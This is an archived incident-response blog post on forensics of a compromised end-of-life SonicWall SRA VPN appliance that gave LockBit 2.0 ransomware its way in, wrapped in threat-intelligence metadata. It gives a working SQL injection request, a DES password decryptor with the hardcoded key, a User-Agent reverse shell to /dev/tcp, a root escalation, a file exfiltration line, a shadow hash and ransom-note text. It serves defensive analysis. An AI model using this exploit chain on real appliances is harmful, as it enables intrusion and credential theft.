{
	"id": "a8f60052-7c85-494a-a38e-e8a6e693ea16",
	"created_at": "2026-04-06T00:10:11.591338Z",
	"updated_at": "2026-04-10T03:24:18.235093Z",
	"deleted_at": null,
	"sha1_hash": "e3e28d4b87314e087cff9491bef8566028f1b90c",
	"title": "VPN Appliance Forensics – Compass Security Blog",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2369657,
	"plain_text": "VPN Appliance Forensics – Compass Security Blog\r\nArchived: 2026-04-05 17:52:21 UTC\r\nDuring a DFIR (Digital Forensics and Incident Response) Case, we encountered an ESXi Hypervisor that was\r\nencrypted by the Ransomware LockBit 2.0. Suspicious SSH logons on the Hypervisor originated from an End-of-Life VPN Appliance (SonicWall SRA 4600). It turns out, this was the initial entry point for the Ransomware\r\nattack. Follow us into the forensics analysis of this compromised device.\r\nFinding the Logs\r\nAfter isolating the VPN Appliance from the Internet and from the internal Network, the customer gave us the\r\ncredentials for the web based administration interface.\r\nUnfortunately, all log listings in the graphical interfaces were almost empty:\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 1 of 17\n\nAfter sifting through all the available features, we found an interesting Tech Support Report feature under System\r\n\u003e Diagnostics:\r\nThe feature downloads a ZIP file containing interesting logs of the system and an export of its configuration:\r\nstatus.txt\r\npersist.db.log.1\r\nmcd.log.1\r\neventlog.1\r\ngeoBotD.log.1\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 2 of 17\n\ntunneld.conf\r\ntunneld.log\r\nvmctl.log\r\nwafStats.db.log\r\nsmtp.conf\r\nsonicfiles.log\r\nsso_proxy.log\r\ntemp.db.log\r\nsettings.json\r\nsmm.log\r\nmcd.log\r\nnxlog.log\r\npersist.db.log\r\nkernel.log\r\nlogrotate.conf\r\nlogrotateVA.conf\r\nhttpd.log\r\nhttpd.log.1\r\ngeoBotD.log\r\nha.log\r\nhtml5Client.log\r\nexamples.db.log\r\nfirebase.conf\r\nfirebase.log\r\nftpd.log\r\ndhcpc.log\r\ndtls.log\r\neventlog\r\nboot.log\r\nclientsDownload.log\r\nThese logs hold very valuable information, if and only if the system was not shut down. The following files in\r\nparticular were of interest:\r\neventlog\r\nThe eventlog records successful and failed logins on both the VPN and the web interface. The following\r\ninformation is also recorded:\r\ntimestamp\r\nusername\r\nsource IP address\r\nNov 26 11:26:26 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time=\"2021-11-26 09:26:26\" vp_time=\"2021-11-26 09\r\nNov 26 11:28:02 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time=\"2021-11-26 09:28:02\" vp_time=\"2021-11-26 09:2\r\nNov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time=\"2021-11-26 09:28:05\" vp_time=\"2021-11-26 09:2\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 3 of 17\n\nNov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time=\"2021-11-26 09:28:05\" vp_time=\"2021-11-26 09:2\r\nNov 26 11:28:06 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time=\"2021-11-26 09:28:06\" vp_time=\"2021-11-26 09:2\r\nNov 27 11:07:39 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time=\"2021-11-27 10:07:39\" vp_time=\"2021-11-27 10:07:39\r\nNov 27 11:35:43 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time=\"2021-11-27 10:35:43\" vp_time=\"2021-11-27 10:35:43\r\nmcd.log\r\nThe mcd.log records successful VPN connections. The following information is also recorded:\r\nassigned IP address from the VPN IP address pool\r\nusername\r\nsource IP address from where the connection was established\r\n2021-11-26 09:28:06:mcd 23888: MCD launched [RIP:10.100.132.100;UNAME:xyz;CIP:[CUT-BY-COMPASS]]\r\n2021-11-26 09:28:08:mcd 23888: SSL VPN: Connected\r\n2021-11-26 10:11:08:mcd 23888: Signal Recd (2). Exiting...\r\n2021-11-26 10:11:08:mcd 23888: Cleaned up routes and proxy arp\r\n2021-11-26 10:11:08:mcd 23888: NxSession sync'd up\r\n2021-11-26 10:11:08:mcd 23888: Stat files cleaned up\r\n2021-11-26 10:11:08:mcd 23888: MCD shutdown.\r\nThis log went back to the last start of the system, therefore giving a very long audit trail.\r\nhttpd.log\r\nThe httpd.log records requests to the web server. This included traces of used exploit techniques. We will now\r\ndive into these.\r\nReconstructing the Attack\r\nThrough analysis of the event logs, suspicious logons could be identified. The source IP address was located in\r\ncountries where the customer had no employees and the logon times were unusual and matched with the\r\nRansomware attack. However, it was at first not clear if the attacker obtained credentials through phishing or\r\nthrough a vulnerability in the VPN appliance.\r\nThe appliance was not on the company’s inventory and therefore they were not aware that an EOL device was\r\nrunning in their network.\r\nHence we searched online to see if there were known flaws in this particular firmware version.\r\nUnauthenticated SQL Injection\r\nThe used firmware was vulnerable to an unauthenticated SQL injection, that allows to read cached credentials of\r\nactive sessions from the database. For more information about this issues, check the writeup by Crowdstrike.\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 4 of 17\n\nSonicWall issued a patch for this issue. However, because the SRA 4600 appliance is considered End-of-Life, no\r\nFirmware upgrade was released for the device.\r\nThe leaked cached credentials are plaintext VPN user passwords, encrypted with a key that is hardcoded in the\r\nappliances firmware. The following request was crafted based on the vulnerability writeup. It allowed us to test\r\nthe exploitability against the SRA appliance:\r\nPOST /cgi-bin/supportInstaller HTTP/1.1\r\nHost: 10.100.132.2\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: de,en-US;q=0.7,en;q=0.3\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 126\r\n \r\nfromEmailInvite=1\u0026customerTID=\"impossible'+UNION+SELECT+0,0,userType,userName,0,password,0,0+FROM+Sessions+LIMIT\r\nIf there is a session on the device, the encrypted password is returned in the supportcode JavaScript variable:\r\nHTTP/1.1 200 OK\r\nDate: Fri, 26 Nov 2021 14:40:21 GMT\r\nServer: SonicWALL SSL-VPN Web Server\r\nX-FRAME-OPTIONS: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nContent-Security-Policy: script-src https://*.duosecurity.com 'self' 'unsafe-inline' 'unsafe-eval'; object-src '\r\nReferrer-Policy: strict-origin\r\nX-Content-Type-Options: nosniff\r\nConnection: close\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 3141\r\n \r\n[CUT BY COMPASS}\r\n\u003cscript src=\"/js/schemeurl.9.0.0.5-19sv.js\" type=\"text/javascript\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\u003cscript\u003e\r\nvar servername = \"10.100.132.2\";\r\nvar port = \"443\";\r\nvar strsession = \"\";\r\nvar serverversion = \"150994952\";\r\nvar username = \"admin\";\r\nvar portalname = \"2\";\r\nvar userdomain = \"\";\r\nvar supportcode = \"2D0A5C61578B2D70FEA65F4C5868A8DAA2ECB2DB9D203EEE\";\r\nvar ticket = \"\u002600000000000000053610\u003e\u003e50000:46000000000008000;0000000000Pq0000000070000000000ee0400000000000ø0009\r\nvar expertname = \"0\";\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 5 of 17\n\nvar fullControl = \"4\";\r\n \r\nvar sonicwallSMAConnectAgentVersion = \"1.1.25\";\r\n[CUT BY COMPASS]\r\nThe encrypted password can be decrypted using a simple python script (based on the CrowdStrike writeup):\r\n# use python3 and pip install pycryptodomex\r\nfrom Cryptodome.Cipher import DES\r\n \r\ndef des_decrypt(ct):\r\n key = b'\\x2f\\x4f\\x2a\\x86\\xd5\\x52\\xf8\\x80'\r\n cipher = DES.new(key, DES.MODE_CBC, iv=b'\\x00'*8)\r\n return cipher.decrypt(ct)\r\n \r\ndef decrypt_hex_to_str(h):\r\n pt = des_decrypt(bytes.fromhex(h))\r\n return pt.rstrip(b'\\x00').decode()\r\n \r\npassword_enc = '2D0A5C61578B2D70FEA65F4C5868A8DAA2ECB2DB9D203EEE'\r\n \r\npassword = decrypt_hex_to_str(password_enc)\r\nprint(password)\r\nIf there is no valid session, an HTTP error 500 is returned. This server error leaves valuable evidence in the\r\nhttpd.log :\r\n[Fri Nov 26 11:19:44 2021] [error] [client 10.100.132.55] Premature end of script headers: supportInstaller\r\nThis can be used as an IOC (Indicator of compromise), as attackers likely enumerate all active sessions and trigger\r\nthis error. The logs of the appliance we looked at had these entries occurring periodically. This indicates the\r\nattackers were regularly collection plain text passwords over a longer period of time.\r\nAuthenticated OS Command Injection\r\nAnother log entry in the httpd.log caught our attention:\r\nhttpd.log:[Fri Nov 26 11:36:21 2021] [error] [client 10.100.132.55] sh: line 4: syntax error near unexpected to\r\nhttpd.log:[Fri Nov 26 11:36:21 2021] [error] [client 10.100.132.55] sh: line 4: `HTTP_USER_AGENT=Mozilla/5.0 (X1\r\nThis hints to a failed command injection with the user agent header involved. Several GitHub repositories with\r\nexploits for a similar vulnerabilities can be found:\r\nhttps://github.com/darrenmartyn/visualdoor\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 6 of 17\n\nhttps://github.com/0xf4n9x/SonicWall_SSL-VPN_EXP\r\nHowever, the URL paths used in these exploits returned an HTTP 404 error on the analyzed SRA. This means, the\r\nappliance is probably not vulnerable for this vulnerability. So, the hunt goes on…\r\nAfter analyzing the configuration some more, we found a hint in the Bookmarks configuration:\r\nBookmarks can be used to configure a link to a service in the internal network: SSH, RDP, SMB for instance.\r\nThese links are then available on the SSL VPN “Virtual Office” web portal and can be accessed easily by end-users through the browser.\r\nHere the attackers seemed to exploit a command injection vulnerability in the MAC address field of a Wake-On-Lan feature of the RDP Bookmark. There is actually an input validation that prohibits the creation of such an\r\narbitrary MAC addresses, but it is only implemented in client-side JavaScript. This can therefore be bypassed\r\neasily, for example by submitting the form manually with the JavaScript debug console:\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 7 of 17\n\nThe payload  0a:00:27:00:00:01`env|sh`\r\nexecutes the  env  command in a subshell. This prints all environment\r\nvariables and pipes it into the shell  sh , therefore interpreting and executing all environment variables as shell\r\ncommands. Because the Wake-On-Lan command is executed in a cgi-bin environment, the env command\r\nprints the following variables:\r\nSERVER_SIGNATURE=\r\nHTTP_SEC_FETCH_DEST=document\r\nHTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\r\nSERVER_PORT=443\r\nHTTP_HOST=10.100.132.2\r\nDOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocs\r\nSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/tscbookmark\r\nHTTPS=on\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 8 of 17\n\nREQUEST_URI=/cgi-bin/tscbookmark?method=html5\u0026bmId=10\u0026swcctn=1[CUT BY COMPASS]s\r\nSCRIPT_NAME=/cgi-bin/tscbookmark\r\nSCRIPT_URI=https://10.100.132.2/cgi-bin/tscbookmark\r\nHTTP_CONNECTION=close\r\nREMOTE_PORT=37872\r\nWAF_NOT_LICENSED=1\r\nPATH=/bin:/sbin:/usr/bin:/usr/sbin\r\nHTTP_TE=trailers\r\n_=/usr/bin/env\r\nSCRIPT_URL=/cgi-bin/tscbookmark\r\n[CUT BY COMPASS]\r\nMost of them are interpreted as valid shell statements; they define shell variables. On the line that starts with\r\nHTTP_USER_AGENT , spaces break the shell statement and triggers an error in the log that can be used an an IOC:\r\n[Thu Dec 16 11:40:36 2021] [error] [client 10.100.132.55] sh: line 4: syntax error near unexpected token `(', r\r\n[Thu Dec 16 11:40:36 2021] [error] [client 10.100.132.55] sh: line 4: `HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu;\r\nBecause the User-Agent header is under control of the attacker, he can inject shell commands by inserting a\r\nmalicious values in the request that triggers the execution of the Wake-On-Lan command.\r\nTo trigger the vulnerability, the bookmark is clicked on the “Virtual Office” portal of the according user:\r\nMultiple request are sent to the server. The one of interest is the request to  /cgi-bin/tscbookmark . Here, a\r\nreverse shell is started:\r\nGET /cgi-bin/tscbookmark?method=html5\u0026bmId=10\u0026swcctn=1[CUT BY COMPASS]Z HTTP/1.1\r\nHost: 10.100.132.2\r\nCookie: [CUT BY COMPASS]\r\nUser-Agent: bla;bash -i \u003e\u0026 /dev/tcp/10.100.132.55/12345 0\u003e\u00261\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 9 of 17\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://10.100.132.2/\r\nTe: trailers\r\nConnection: close\r\nBecause bookmarks can be created by standard SSL VPN users, this attack can be used to elevate privileges\r\nand extract the appliance configuration that holds interesting information and potentially other credentials.\r\nThe vulnerability seems not to be exploitable without prior authentication.\r\nAnalyzing the SRA System\r\nThe next important step was to check the system in depth to see which credentials were stored and potentially\r\ncould be obtained by the attacker.\r\nElevating Privileges to root\r\nThe analysis was performed through the reverse shell obtained with the OS command injection vulnerability. This\r\nshell is running under user nobody . This means not all files on the system can be accessed:\r\n$ nc -l 12345\r\nbash: no job control in this shell\r\nbash-4.2$ whoami\r\nnobody\r\nTo overcome this issue, a privilege escalation was performed on the system to obtain root rights. We searched for\r\nexecutables writeable by everyone with the command find . -type f -perm 777 2\u003e/dev/null and found shell\r\nscript that is invoked automatically by the root user, when accessing certificate management on the admin\r\ninterface:\r\nlrwxrwxrwx 1 root nobody 21 Feb 11 2021 /etc/EasyAccess/var/cert/password.sh -\u003e newcert-3/password.sh\r\n-rwxrwxrwx 1 root root 21 Dec 16 15:21 /etc/EasyAccess/var/cert/newcert-3/password.sh\r\nThe content of the script was replaced with a reverse shell payload and was invoked by accessing the certificate\r\nmanagement on the admin interface:\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 10 of 17\n\nThe obtained reverse shell was running with root permissions:\r\n$ nc -l 9876\r\nbash: no job control in this shell\r\nbash-4.2# whoami\r\nwhoami\r\nroot\r\nNote that this backdoor is persisted over reboots.\r\nFinding Stored Credentials\r\nThe administrative web application is run as a cgi-bin based application. The callable endpoints are located in the\r\nfolder  /usr/src/EasyAccess/www/cgi-bin . They are small compiled binaries that call the main logic of the SRA\r\nin the shared library located at  /lib/libSys.so . To store data, a persistent\r\n( /etc/EasyAccess/var/conf/persist.db ) and a non-persistent ( /tmp/temp.db ) SQLight database is used.  All\r\nthese files can be exfiltrated, for instance by sending them to a remote host via TCP ( cat /tmp/temp.db \u003e\r\n/dev/tcp/10.100.132.55/23456 ) or encoding / decoding them with base64 to stdout ( openssl base64 -in\r\ntemp.db ).\r\nThe temp.db contains the session credentials that could be exfiltrated with the SQL Injection attack described\r\nabove.\r\nThe persist.db is storing the applications configuration. It can also be exported in JSON format (named\r\nsettings.json ) in the diagnostic export or in the settings export feature on the admin interface.\r\nCredentials used to connect to the Active Directory (AD) were found in the Domains_AD table. The password is\r\nencrypted with the same hardcoded key as for the sessions above and therefore must be seen as compromised.\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 11 of 17\n\nOther credentials named securePasswd were found in the Users table:\r\nBy inspecting the related code in libSys.so , it was found that this data is generated by the password hashing\r\nfunction PKCS5_PBKDF2_HMAC using a hardcoded salt, 256 bit key and 12800 iterations:\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 12 of 17\n\nAn attacker can’t reverse the key-derivation function, but can perform offline brute force attacks. However, this is\r\nslow due to the algorithm and the used iterations. Therefore, we assumed the attacker did not have access to the\r\ncleartext credentials.\r\nLastly, the root password was found in the  /etc/shadow  file, hashed using a simple Linux MD5 algorithm:\r\nbash-4.2# cat /etc/shadow\r\ncat /etc/shadow\r\nroot:$1$nRh/kvy.$QGgtuH.UQBnBpu0IuL9ze.:13983:0:99999:7:::\r\nbin:x:13937:0:99999:7:::\r\ndaemon:x:13937:0:99999:7:::\r\nmail:x:13937:0:99999:7:::\r\nsquid:x:13937:0:99999:7:::\r\nntp:x:13937:0:99999:7:::\r\nsshd:x:13937:0:99999:7:::\r\nnobody:x:13937:0:99999:7:::\r\nsnort:x:13937:0:99999:7:::\r\nlogwatch:x:13937:0:99999:7:::\r\ndnsmasq:x:13937:0:99999:7:::\r\ncron:x:13937:0:99999:7:::\r\nadmin::13937:0:99999:7:::\r\nBruteforcing it with John the Ripper showed that password was “password”.\r\nThis may be a factory default, but is not exploitable, since the root user can’t be used to logon to the system.\r\nSearching for Malicious Activity\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 13 of 17\n\nUnfortunately, it was not possible to reconstruct what commands the attacker executed on the system.\r\nNo signs of persistence or malicious activity was detected by quickly analyzing the filesystem timestamps\r\n(searching for recently created files) or the running processes over the root shell. However, we did not perform a\r\nthorough analysis of the system.\r\nTakeaways\r\nThese forensic evidences helped during the analysis of the Ransomware attack, as it allowed to define good IOCs\r\nwhich could be searched for on the corporate systems:\r\nDate and time when attacks were performed, obtained from the SRA logs.\r\nInternal IP address of the SRA itself and the IP address range of the VPN pool obtainable in the\r\nconfiguration.\r\nSuspicious external IP addresses used to connect to the SRA obtainable from the SRA log data.\r\nCompromised accounts identified through VPN logons from suspicious IP addresses in the SRA log data.\r\nPotentially compromised accounts where credentials were stored on the SRA with the reversible DES\r\nencryption.\r\nGenerally the following actions can be recommended if a VPN appliance is found to be compromised:\r\nDon’t reboot the appliance, important information will be lost. Rather isolate the system, so that no\r\ninbound and outbound connection to untrusted or sensitive systems are possible.\r\nReplace the VPN appliance if it is End-of-Life!\r\nSpecifically for SonicWall SRA, the following actions can help during a forensic investigation:\r\nPerform the diagnostics export, analyze the logs and check for stored credentials that can be easily\r\ndecrypted.\r\nPerform the revers shell attack to export the temp.db and check for stored credentials that can be easily\r\ndecrypted. (No root shell access is required for this, as the database is readable by the nobody user.)\r\nNotes on Lockbit 2.0 Ransomware\r\nThe attackers abused the SRA vulnerability to gain access to the customers network. The compromised users were\r\nAD users and could be used to logon to other Windows systems. Through Windows credentials dumping they\r\nobtained the Domain Admin credentials, which unfortunately were the same used for the root user of the ESXi\r\nserver.\r\nTherefore the attackers were able to logon to the ESXi Hypervisor and ran the LockBit 2.0 Ransomware.\r\nThey left following file named !!!-Restore-My-Files-!!! that threatens the customer to leak its data and also\r\ncontains an interesting advertisement for future criminals. It claims LockBit 2.0 to be the fasted ransomware:\r\n~~~ LockBit 2.0 the fastest ransomware in the world ~~~\r\n \r\n\u003e\u003e\u003e\u003e Your data are stolen and encrypted\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 14 of 17\n\nThe data will be published on TOR website if you do not pay the ransom\r\n \r\n[CUT BY COMPASS]\r\n \r\n\u003e\u003e\u003e\u003e Advertisement\r\n \r\nWould you like to earn millions of dollars $$$ ?\r\n \r\nOur company acquire access to networks of various companies, as well as insider information that can\r\nYou can provide us accounting data for the access to any company, for example, login and password to\r\nOpen our letter at your email. Launch the provided virus on any computer in your company.\r\n \r\nYou can do it both using your work computer or the computer of any other employee in order to divert\r\n \r\nCompanies pay us the foreclosure for the decryption of files and prevention of data leak.\r\n[CUT BY COMPASS]\r\nIndeed after checking the timestamps of the Lockbit files, it turned out that the attacker only required 5 minutes to\r\nencrypt all files. Fully encrypting all VMDKs of a ESXi Hypervisor should require more time, so we checked the\r\nencryption of the VMDKs and of some log files that had the .lockbit suffix appended to them.\r\nQuickly running the command strings or opening the files in an editor, showed that major parts of the files\r\nwere not encrypted. Here are some entropy analysis performed with Detect It Easy :\r\nLog file:\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 15 of 17\n\nVMDK:\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 16 of 17\n\nOn the VMDK there seemed to be no encryption at all. It was possible to use 7Zip to extract the VMDK, mount\r\nthe raw partition image and perform a forensic analysis of the data. That would not been possible with a fully\r\nencrypted VMDK.\r\nEven if partial encryption is used, as for the log file, it would be possible to recover evidence from these images\r\nby file carving for forensic artifacts like Windows event logs.\r\nWe therefore recommend to always check the entropy of encrypted files.\r\nSource: https://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nhttps://blog.compass-security.com/2022/03/vpn-appliance-forensics/\r\nPage 17 of 17\n\nOther credentials By inspecting named securePasswd the related code in were found libSys.so , it was in the Users table: found that this data is generated by the password hashing\nfunction PKCS5_PBKDF2_HMAC using a hardcoded salt, 256 bit key and 12800 iterations:\n  Page 12 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.compass-security.com/2022/03/vpn-appliance-forensics/"
	],
	"report_names": [
		"vpn-appliance-forensics"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434211,
	"ts_updated_at": 1775791458,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e3e28d4b87314e087cff9491bef8566028f1b90c.pdf",
		"text": "https://archive.orkl.eu/e3e28d4b87314e087cff9491bef8566028f1b90c.txt",
		"img": "https://archive.orkl.eu/e3e28d4b87314e087cff9491bef8566028f1b90c.jpg"
	}
}